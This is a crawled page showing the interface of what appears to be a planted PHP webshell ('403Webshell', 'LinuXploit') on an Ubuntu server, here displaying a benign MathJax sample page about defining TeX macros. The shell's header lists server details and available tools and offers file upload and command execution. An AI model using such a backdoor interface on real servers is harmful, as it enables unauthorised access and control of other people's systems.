403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/javascript/mathjax/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/javascript/mathjax/test/sample-macros.html
<!DOCTYPE html>
<html>
<head>
<title>Example of defining a macro that autoloads an extension</title>
<!-- Copyright (c) 2012-2020 The MathJax Consortium -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1">

<!--
 |
 |  This page shows how to define macros in your configuration, or as part 
 |  of the body of the page itself.
 |  
 |-->

<script type="text/x-mathjax-config">
MathJax.Hub.Config({
  TeX: {
    Macros: {
      RR: '{\\bf R}',                // a simple string replacement
      bold: ['\\boldsymbol{#1}',1]   // this macro has one parameter
    }
  }
});
</script>
<script type="text/javascript" src="../MathJax.js?config=TeX-AMS_HTML-full"></script>

</head>
<body>

<!--
 |
 |  Here we use a math block that contains nothing but definitions in 
 |  standard TeX format.  It is enclosed in a DIV that doesn't display, so 
 |  that there are no extra spaces generated by having the extra 
 |  mathematics in the text.
 |  
 |  The first macro makes it easy to display vectors using \<x,y,z>
 |  the second uses \newcommand to create a macro
 |
 |-->
<div style="display:none">
\(
  \def\<#1>{\left<#1\right>}
  \newcommand{\CC}{\mathbf{C}}
\)
</div>

<p>
This page uses two different methods to define macros: either putting them 
in JavaScript notation in the MathJax configuration, or in TeX notation in 
the body of the document.
</p>

<p>Some math that used the definitions:
\[
  f\colon\RR\to\RR^3 \hbox{ by } f(t)=\< t+1,{1\over 1+t^2}, \sqrt{t^2+1} >
\]
and
\[
  \{\,z\in\CC \mid z^2 = \bold{\alpha}\,\}
\]
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit